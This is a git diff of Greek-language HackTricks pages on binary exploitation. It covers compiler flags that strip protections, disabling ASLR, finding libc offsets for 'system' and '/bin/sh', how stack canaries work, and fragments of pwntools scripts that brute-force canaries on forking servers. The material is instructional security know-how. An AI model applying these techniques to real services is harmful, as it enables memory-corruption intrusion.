Για παράδειγμα, στο παρακάτω παράδειγμα, ένα buffer overflow στο `local_bc` υποδηλώνει ότι χρειάζεστε μια μετατόπιση του `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie, υποδηλώνει ότι για να το αντικαταστήσετε από το `local_bc` υπάρχει μια μετατόπιση του `0xac`.\
|
Για παράδειγμα, στο παρακάτω παράδειγμα, ένα buffer flow στο `local_bc` υποδηλώνει ότι χρειάζεστε μια μετατόπιση του `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie, υποδηλώνει ότι για να το αντικαταστήσετε από το `local_bc` υπάρχει μια μετατόπιση του `0xac`.\
|
||||||
_Να θυμάστε ότι το πρώτο 0x08 από όπου αποθηκεύεται το RIP ανήκει στο RBP._
|
_Να θυμάστε ότι το πρώτο 0x08 από όπου αποθηκεύεται το RIP ανήκει στο RBP._
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (1058).png>)
|
![](<../../../.gitbook/assets/image (1058).png>)
|
||||||
|
|
||||||
|
## qtool
|
||||||
|
```bash
|
||||||
|
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
|
||||||
|
```
|
||||||
|
Αποκτήστε κάθε opcode που εκτελείται στο πρόγραμμα.
|
||||||
|
|
||||||
## GCC
|
## GCC
|
||||||
|
|
||||||
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Μεταγλώττιση χωρίς προστασίες\
|
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Μεταγλώττιση χωρίς προστασίες\
|
||||||
**-o** --> Έξοδος\
|
**-o** --> Έξοδος\
|
||||||
**-g** --> Αποθήκευση κώδικα (το GDB θα μπορεί να τον δει)\
|
**-g** --> Αποθήκευση κώδικα (το GDB θα μπορεί να τον δει)\
|
||||||
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Για απενεργοποίηση του ASLR στο Linux
|
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Απενεργοποίηση του ASLR στο Linux
|
||||||
|
|
||||||
**Για να μεταγλωττίσετε ένα shellcode:**\
|
**Για να μεταγλωττίσετε ένα shellcode:**\
|
||||||
**nasm -f elf assembly.asm** --> επιστρέφει ένα ".o"\
|
**nasm -f elf assembly.asm** --> επιστρέφει ένα ".o"\
|
||||||
|
@ -175,29 +187,28 @@ _Να θυμάστε ότι το πρώτο 0x08 από όπου αποθηκε
|
||||||
|
|
||||||
## Objdump
|
## Objdump
|
||||||
|
|
||||||
**-d** --> **Αποσυναρμολόγηση εκτελέσιμων** τμημάτων (δείτε τους κωδικούς ενός μεταγλωττισμένου shellcode, βρείτε ROP Gadgets, βρείτε διεύθυνση συνάρτησης...)\
|
**-d** --> **Αποσυναρμολόγηση εκτελέσιμων** ενοτήτων (δείτε τα opcodes ενός μεταγλωττισμένου shellcode, βρείτε ROP Gadgets, βρείτε διεύθυνση συνάρτησης...)\
|
||||||
**-Mintel** --> Σύνταξη **Intel**\
|
**-Mintel** --> **Σύνταξη Intel**\
|
||||||
**-t** --> Πίνακας **συμβόλων**\
|
**-t** --> **Πίνακας συμβόλων**\
|
||||||
**-D** --> Αποσυναρμολόγηση όλων (διεύθυνση στατικής μεταβλητής)\
|
**-D** --> **Αποσυναρμολόγηση όλων** (διεύθυνση στατικής μεταβλητής)\
|
||||||
**-s -j .dtors** --> τμήμα dtors\
|
**-s -j .dtors** --> ενότητα dtors\
|
||||||
**-s -j .got** --> τμήμα got\
|
**-s -j .got** --> ενότητα got\
|
||||||
\-D -s -j .plt --> τμήμα **plt** **αποσυναρμολογημένο**\
|
\-D -s -j .plt --> ενότητα plt **αποσυναρμολογημένη**\
|
||||||
**-TR** --> **Ανακατευθύνσεις**\
|
|
||||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Διεύθυνση του "puts" για τροποποίηση στο GOT\
|
**ojdump -t --dynamic-relo ./exec | grep puts** --> Διεύθυνση του "puts" για τροποποίηση στο GOT\
|
||||||
**objdump -D ./exec | grep "VAR\_NAME"** --> Διεύθυνση μιας στατικής μεταβλητής (αυτές αποθηκεύονται στο τμήμα DATA).
|
**objdump -D ./exec | grep "VAR\_NAME"** --> Διεύθυνση στατικής μεταβλητής (αυτές αποθηκεύονται στην ενότητα DATA).
|
||||||
|
|
||||||
## Core dumps
|
## Core dumps
|
||||||
|
|
||||||
1. Εκτελέστε `ulimit -c unlimited` πριν ξεκινήσετε το πρόγραμμά μου
|
1. Εκτελέστε `ulimit -c unlimited` πριν ξεκινήσετε το πρόγραμμά μου
|
||||||
2. Εκτελέστε `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
2. Εκτελέστε `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
||||||
3. `sudo gdb --core=\<path/core> --quiet`
|
3. sudo gdb --core=\<path/core> --quiet
|
||||||
|
|
||||||
## More
|
## Περισσότερα
|
||||||
|
|
||||||
**ldd executable | grep libc.so.6** --> Διεύθυνση (αν υπάρχει ASLR, τότε αυτή αλλάζει κάθε φορά)\
|
**ldd executable | grep libc.so.6** --> Διεύθυνση (αν υπάρχει ASLR, τότε αλλάζει κάθε φορά)\
|
||||||
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Επανάληψη για να δείτε αν η διεύθυνση αλλάζει πολύ\
|
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Επανάληψη για να δείτε αν η διεύθυνση αλλάζει πολύ\
|
||||||
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Μετατόπιση του "system"\
|
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset του "system"\
|
||||||
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Μετατόπιση του "/bin/sh"
|
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset του "/bin/sh"
|
||||||
|
|
||||||
**strace executable** --> Συναρτήσεις που καλούνται από το εκτελέσιμο\
|
**strace executable** --> Συναρτήσεις που καλούνται από το εκτελέσιμο\
|
||||||
**rabin2 -i ejecutable -->** Διεύθυνση όλων των συναρτήσεων
|
**rabin2 -i ejecutable -->** Διεύθυνση όλων των συναρτήσεων
|
||||||
|
@ -215,7 +226,7 @@ _Να θυμάστε ότι το πρώτο 0x08 από όπου αποθηκε
|
||||||
```
|
```
|
||||||
./linux_server64 -Ppass
|
./linux_server64 -Ppass
|
||||||
```
|
```
|
||||||
Στη συνέχεια, ρυθμίστε τον εντοπιστή σφαλμάτων: Εντοπιστής (απομακρυσμένος linux) --> Επιλογές διεργασίας...:
|
Στη συνέχεια, ρυθμίστε τον debugger: Debugger (linux remote) --> Επιλογές διεργασίας...:
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (855).png>)
|
![](<../../../.gitbook/assets/image (855).png>)
|
||||||
|
|
||||||
|
@ -228,7 +239,7 @@ _Να θυμάστε ότι το πρώτο 0x08 από όπου αποθηκε
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
@ -16,19 +16,19 @@
|
||||||
|
|
||||||
## **StackGuard και StackShield**
|
## **StackGuard και StackShield**
|
||||||
|
|
||||||
Το **StackGuard** εισάγει μια ειδική τιμή γνωστή ως **κανάριο** πριν από το **EIP (Επεκτεινόμενο Δείκτη Εντολών)**, συγκεκριμένα `0x000aff0d` (που αντιπροσωπεύει το null, τη νέα γραμμή, το EOF, την αλλαγή γραμμής) για προστασία από υπερχείλιση buffer. Ωστόσο, λειτουργίες όπως `recv()`, `memcpy()`, `read()` και `bcopy()` παραμένουν ευάλωτες, και δεν προστατεύει το **EBP (Βασικό Δείκτη)**.
|
Το **StackGuard** εισάγει μια ειδική τιμή γνωστή ως **κανάριο** πριν από το **EIP (Επεκτεινόμενο Δείκτη Εντολών)**, συγκεκριμένα `0x000aff0d` (που αντιπροσωπεύει το null, newline, EOF, carriage return) για προστασία από υπερχείλιση buffer. Ωστόσο, λειτουργίες όπως `recv()`, `memcpy()`, `read()` και `bcopy()` παραμένουν ευάλωτες, και δεν προστατεύει το **EBP (Βασικό Δείκτη)**.
|
||||||
|
|
||||||
Το **StackShield** ακολουθεί μια πιο εξελιγμένη προσέγγιση από το StackGuard διατηρώντας ένα **Καθολικό Στοίβα Επιστροφής**, το οποίο αποθηκεύει όλες τις διευθύνσεις επιστροφής (**EIPs**). Αυτή η ρύθμιση εξασφαλίζει ότι οποιαδήποτε υπερχείλιση δεν προκαλεί ζημιά, καθώς επιτρέπει τη σύγκριση μεταξύ αποθηκευμένων και πραγματικών διευθύνσεων επιστροφής για την ανίχνευση εμφανίσεων υπερχείλισης. Επιπλέον, το StackShield μπορεί να ελέγξει τη διεύθυνση επιστροφής έναντι μιας τιμής ορίου για να ανιχνεύσει αν η **EIP** δείχνει έξω από τον αναμενόμενο χώρο δεδομένων. Ωστόσο, αυτή η προστασία μπορεί να παρακαμφθεί μέσω τεχνικών όπως Return-to-libc, ROP (Return-Oriented Programming) ή ret2ret, υποδεικνύοντας ότι το StackShield επίσης δεν προστατεύει τοπικές μεταβλητές.
|
Το **StackShield** ακολουθεί μια πιο εξελιγμένη προσέγγιση από το StackGuard διατηρώντας ένα **Καθολικό Στοίβα Επιστροφής**, το οποίο αποθηκεύει όλες τις διευθύνσεις επιστροφής (**EIPs**). Αυτή η ρύθμιση εξασφαλίζει ότι οποιαδήποτε υπερχείλιση δεν προκαλεί ζημιά, καθώς επιτρέπει τη σύγκριση μεταξύ αποθηκευμένων και πραγματικών διευθύνσεων επιστροφής για την ανίχνευση εμφανίσεων υπερχείλισης. Επιπλέον, το StackShield μπορεί να ελέγξει τη διεύθυνση επιστροφής έναντι μιας τιμής ορίου για να ανιχνεύσει αν η **EIP** δείχνει έξω από τον αναμενόμενο χώρο δεδομένων. Ωστόσο, αυτή η προστασία μπορεί να παρακαμφθεί μέσω τεχνικών όπως Return-to-libc, ROP (Return-Oriented Programming) ή ret2ret, υποδηλώνοντας ότι το StackShield επίσης δεν προστατεύει τοπικές μεταβλητές.
|
||||||
|
|
||||||
## **Προστάτης Καταπονήσεων Στοίβας (ProPolice) `-fstack-protector`:**
|
## **Προστάτης Καταποντισμού Στοίβας (ProPolice) `-fstack-protector`:**
|
||||||
|
|
||||||
Αυτός ο μηχανισμός τοποθετεί ένα **κανάριο** πριν από το **EBP**, και αναδιατάσσει τις τοπικές μεταβλητές για να τοποθετήσει τα buffers σε υψηλότερες διευθύνσεις μνήμης, αποτρέποντας την υπεργραφή άλλων μεταβλητών. Επίσης, αντιγράφει με ασφάλεια τα ορίσματα που περνιούνται στη στοίβα πάνω από τις τοπικές μεταβλητές και χρησιμοποιεί αυτές τις αντιγραφές ως ορίσματα. Ωστόσο, δεν προστατεύει πίνακες με λιγότερα από 8 στοιχεία ή buffers μέσα σε δομή χρήστη.
|
Αυτός ο μηχανισμός τοποθετεί ένα **κανάριο** πριν από το **EBP**, και αναδιατάσσει τις τοπικές μεταβλητές για να τοποθετήσει τα buffers σε υψηλότερες διευθύνσεις μνήμης, αποτρέποντας την υπεργραφή άλλων μεταβλητών. Επίσης, αντιγράφει με ασφάλεια τα ορίσματα που περνιούνται στη στοίβα πάνω από τις τοπικές μεταβλητές και χρησιμοποιεί αυτές τις αντιγραφές ως ορίσματα. Ωστόσο, δεν προστατεύει πίνακες με λιγότερα από 8 στοιχεία ή buffers μέσα σε δομή χρήστη.
|
||||||
|
|
||||||
Το **κανάριο** είναι ένας τυχαίος αριθμός που προέρχεται από το `/dev/urandom` ή μια προεπιλεγμένη τιμή του `0xff0a0000`. Αποθηκεύεται στο **TLS (Αποθήκευση Τοπικών Νημάτων)**, επιτρέποντας κοινόχρηστους χώρους μνήμης ανάμεσα σε νήματα να έχουν μεταβλητές παγκόσμιες ή στατικές μεταβλητές νήματος. Αυτές οι μεταβλητές αντιγράφονται αρχικά από τη διεργασία γονέα, και οι διεργασίες παιδιά μπορούν να τροποποιήσουν τα δεδομένα τους χωρίς να επηρεάζουν το γονέα ή τα αδέλφια. Ωστόσο, αν χρησιμοποιηθεί ένα **`fork()` χωρίς τη δημιουργία ενός νέου καναριού, όλες οι διεργασίες (γονέας και παιδιά) μοιράζονται το ίδιο κανάρι**, καθιστώντας το ευάλωτο. Στην αρχιτεκτονική **i386**, το κανάρι αποθηκεύεται στο `gs:0x14`, και στο **x86\_64**, στο `fs:0x28`.
|
Το **κανάριο** είναι ένας τυχαίος αριθμός που προέρχεται από το `/dev/urandom` ή μια προεπιλεγμένη τιμή του `0xff0a0000`. Αποθηκεύεται στο **TLS (Αποθήκη Τοπικών Νημάτων)**, επιτρέποντας κοινόχρηστους χώρους μνήμης ανάμεσα σε νήματα να έχουν νήμα-συγκεκριμένες παγκόσμιες ή στατικές μεταβλητές. Αυτές οι μεταβλητές αντιγράφονται αρχικά από τη διεργασία γονέα, και οι διεργασίες-παιδιά μπορούν να τροποποιήσουν τα δεδομένα τους χωρίς να επηρεάζουν το γονέα ή τα αδέλφια. Ωστόσο, αν χρησιμοποιηθεί ένα **`fork()` χωρίς τη δημιουργία ενός νέου καναριού, όλες οι διεργασίες (γονέας και παιδιά) μοιράζονται το ίδιο κανάρι**, καθιστώντας το ευάλωτο. Στην αρχιτεκτονική **i386**, το κανάρι αποθηκεύεται στο `gs:0x14`, και στο **x86\_64**, στο `fs:0x28`.
|
||||||
|
|
||||||
Αυτή η τοπική προστασία αναγνωρίζει λειτουργίες με buffers ευάλωτους σε επιθέσεις και ενθέτει κώδικα στην αρχή αυτών των λειτουργιών για να τοποθετήσει το κανάρι, και στο τέλος για να επαληθεύσει την ακεραιότητά του.
|
Αυτή η τοπική προστασία αναγνωρίζει λειτουργίες με buffers ευάλωτα σε επιθέσεις και ενθέτει κώδικα στην αρχή αυτών των λειτουργιών για να τοποθετήσει το κανάρι, και στο τέλος για να επαληθεύσει την ακεραιότητά του.
|
||||||
|
|
||||||
Όταν ένας διακομιστής web χρησιμοποιεί το `fork()`, ενεργοποιεί μια επίθεση δοκιμής με βία για να μαντέψει το κανάρι byte με byte. Ωστόσο, χρησιμοποιώντας το `execve()` μετά το `fork()` αντικαθιστά τον χώρο μνήμης, αναιρώντας την επίθεση. Το `vfork()` επιτρέπει στη διεργασία παιδί να εκτελείται χωρίς αντιγραφή μέχρι να προσπαθήσει να γράψει, στο σημείο που δημιουργείται ένα αντίγραφο, προσφέροντας μια διαφορετική προσέγγιση στη δημιουργία διεργασίας και στη διαχείριση μνήμης.
|
Όταν ένας διακομιστής web χρησιμοποιεί το `fork()`, ενεργοποιεί μια επίθεση βίας για να μαντέψει το κανάρι byte με byte. Ωστόσο, η χρήση του `execve()` μετά το `fork()` αντικαθιστά τον χώρο μνήμης, αναιρώντας την επίθεση. Το `vfork()` επιτρέπει στη διεργασία-παιδί να εκτελείται χωρίς αντιγραφή μέχρι να προσπαθήσει να γράψει, στο σημείο που δημιουργείται ένα αντίγραφο, προσφέροντας μια διαφορετική προσέγγιση στη δημιουργία διεργασιών και στη διαχείριση μνήμης.
|
||||||
|
|
||||||
### Μήκη
|
### Μήκη
|
||||||
|
|
||||||
|
@ -44,7 +44,7 @@
|
||||||
|
|
||||||
**Διαρροή του καναριού** και στη συνέχεια υπεργραφή του (π.χ. υπερχείλιση buffer) με τη δική του τιμή.
|
**Διαρροή του καναριού** και στη συνέχεια υπεργραφή του (π.χ. υπερχείλιση buffer) με τη δική του τιμή.
|
||||||
|
|
||||||
* Αν το **κανάρι δημιουργείται σε παιδικές διεργασίες** είναι δυνατό να **επιτεθείτε με βία** ένα byte κάθε φορά:
|
* Αν το **κανάρι δημιουργείται σε παιδικές διεργασίες** είναι δυνατό να **επιτεθεί** ένα byte κάθε φορά:
|
||||||
|
|
||||||
{% content-ref url="bf-forked-stack-canaries.md" %}
|
{% content-ref url="bf-forked-stack-canaries.md" %}
|
||||||
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
|
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
|
||||||
|
@ -58,7 +58,23 @@
|
||||||
|
|
||||||
* **Υπεργραφή δεικτών αποθηκευμένων στη στοίβα**
|
* **Υπεργραφή δεικτών αποθηκευμένων στη στοίβα**
|
||||||
|
|
||||||
Η στοίβα που είναι ευάλωτη σε υπερχείλιση στοίβας μπορεί να **περιέ
|
Η στοίβα που είναι ευάλωτη σε υπερχείλιση στοίβας μπορεί **να περιέχει διευθύνσεις σε συμβολοσειρές ή λειτουργίες που μπορούν να υπεργραφούν** για να εκ
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
## Αναφορές
|
||||||
|
|
||||||
|
* [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html)
|
||||||
|
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||||
|
* [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -6,32 +6,32 @@
|
||||||
|
|
||||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Αν αντιμετωπίζετε ένα δυαδικό που προστατεύεται από ένα canary και το PIE (Position Independent Executable) πιθανότατα χρειάζεστε έναν τρόπο να τα παρακάμψετε.**
|
**Αν αντιμετωπίζετε ένα δυαδικό που προστατεύεται από ένα canary και PIE (Position Independent Executable) πιθανότατα χρειάζεται να βρείτε έναν τρόπο να τα παρακάμψετε.**
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (862).png>)
|
![](<../../../.gitbook/assets/image (862).png>)
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Σημειώστε ότι το **`checksec`** ενδέχεται να μην εντοπίσει ότι ένα δυαδικό προστατεύεται από ένα canary εάν αυτό έχει στατικά μεταγλωττιστεί και δεν είναι ικανό να αναγνωρίσει τη λειτουργία.\
|
Σημειώστε ότι το **`checksec`** ενδέχεται να μην εντοπίσει ότι ένα δυαδικό προστατεύεται από ένα canary αν αυτό ήταν στατικά μεταγλωττισμένο και δεν είναι ικανό να αναγνωρίσει τη λειτουργία.\
|
||||||
Ωστόσο, μπορείτε να παρατηρήσετε χειροκίνητα αυτό εάν διαπιστώσετε ότι μια τιμή αποθηκεύεται στη στοίβα στην αρχή μιας κλήσης συνάρτησης και αυτή η τιμή ελέγχεται πριν την έξοδο.
|
Ωστόσο, μπορείτε να παρατηρήσετε χειροκίνητα αυτό αν βρείτε ότι μια τιμή αποθηκεύεται στη στοίβα στην αρχή μιας κλήσης συνάρτησης και αυτή η τιμή ελέγχεται πριν την έξοδο.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Βίαιη δύναμη Canary
|
## Βίαιη δύναμη Canary
|
||||||
|
|
||||||
Ο καλύτερος τρόπος να παρακάμψετε ένα απλό canary είναι εάν το δυαδικό είναι ένα πρόγραμμα **που δημιουργεί παιδικές διεργασίες κάθε φορά που καθιερώνετε μια νέα σύνδεση** μαζί του (υπηρεσία δικτύου), επειδή κάθε φορά που συνδέεστε σε αυτό **θα χρησιμοποιηθεί το ίδιο canary**.
|
Ο καλύτερος τρόπος να παρακάμψετε ένα απλό canary είναι αν το δυαδικό είναι ένα πρόγραμμα **που δημιουργεί παιδικές διεργασίες κάθε φορά που καθιερώνετε μια νέα σύνδεση** μαζί του (υπηρεσία δικτύου), επειδή κάθε φορά που συνδέεστε σε αυτό **θα χρησιμοποιηθεί το ίδιο canary**.
|
||||||
|
|
||||||
Στη συνέχεια, ο καλύτερος τρόπος να παρακάμψετε το canary είναι απλώς να το **επιτεθείτε βίαια χαρακτήρα προς χαρακτήρα**, και μπορείτε να καταλάβετε εάν ο μαντεμένος χαρακτήρας του canary ήταν σωστός ελέγχοντας εάν το πρόγραμμα έχει καταρρεύσει ή συνεχίζει την κανονική του ροή. Σε αυτό το παράδειγμα η συνάρτηση **επιτίθεται βίαια σε ένα canary 8 Bytes (x64)** και διακρίνει μεταξύ ενός σωστού μαντεμένου χαρακτήρα και ενός κακού χαρακτήρα απλώς **ελέγχοντας** αν έχει σταλεί μια **απάντηση** από τον εξυπηρετητή (μια άλλη μέθοδος σε **άλλη κατάσταση** θα μπορούσε να είναι η χρήση ενός **try/except**):
|
Στη συνέχεια, ο καλύτερος τρόπος να παρακάμψετε το canary είναι απλώς να το **επιτεθείτε βίαια χαρακτήρα προς χαρακτήρα**, και μπορείτε να καταλάβετε αν ο υπολογισμένος χαρακτήρας canary ήταν σωστός ελέγχοντας αν το πρόγραμμα έχει καταρρεύσει ή συνεχίζει την κανονική του ροή. Σε αυτό το παράδειγμα η συνάρτηση **επιτίθεται βίαια σε ένα canary 8 Bytes (x64)** και διακρίνει μεταξύ ενός σωστού υπολογισμένου χαρακτήρα και ενός κακού χαρακτήρα απλώς **ελέγχοντας** αν ένας **αποκρίνεται** επιστρέφεται από τον εξυπηρετητή (μια άλλη μέθοδος σε **άλλη κατάσταση** θα μπορούσε να είναι η χρήση ενός **try/except**):
|
||||||
|
|
||||||
### Παράδειγμα 1
|
### Παράδειγμα 1
|
||||||
|
|
||||||
Αυτό το παράδειγμα υλοποιείται για 64bit αλλά θα μπορούσε εύκολα να υλοποιηθεί και για 32 bit.
|
Αυτό το παράδειγμα είναι υλοποιημένο για 64bit αλλά θα μπορούσε εύκολα να υλοποιηθεί για 32 bit.
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -73,7 +73,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||||||
### Παράδειγμα 2
|
### Παράδειγμα 2
|
||||||
|
|
||||||
Αυτό υλοποιείται για 32 bits, αλλά μπορεί εύκολα να αλλάξει σε 64 bits.\
|
Αυτό υλοποιείται για 32 bits, αλλά μπορεί εύκολα να αλλάξει σε 64 bits.\
|
||||||
Επίσης, σημειώστε ότι για αυτό το παράδειγμα το **πρόγραμμα περιμένει πρώτα ένα byte για να υποδείξει το μέγεθος της εισόδου** και την φορτίωση.
|
Επίσης, να σημειωθεί ότι για αυτό το παράδειγμα το **πρόγραμμα αναμένει πρώτα ένα byte για να υποδείξει το μέγεθος της εισόδου** και τη φορτίο.
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -116,12 +116,15 @@ log.info(f"The canary is: {canary}")
|
||||||
```
|
```
|
||||||
## Νήματα
|
## Νήματα
|
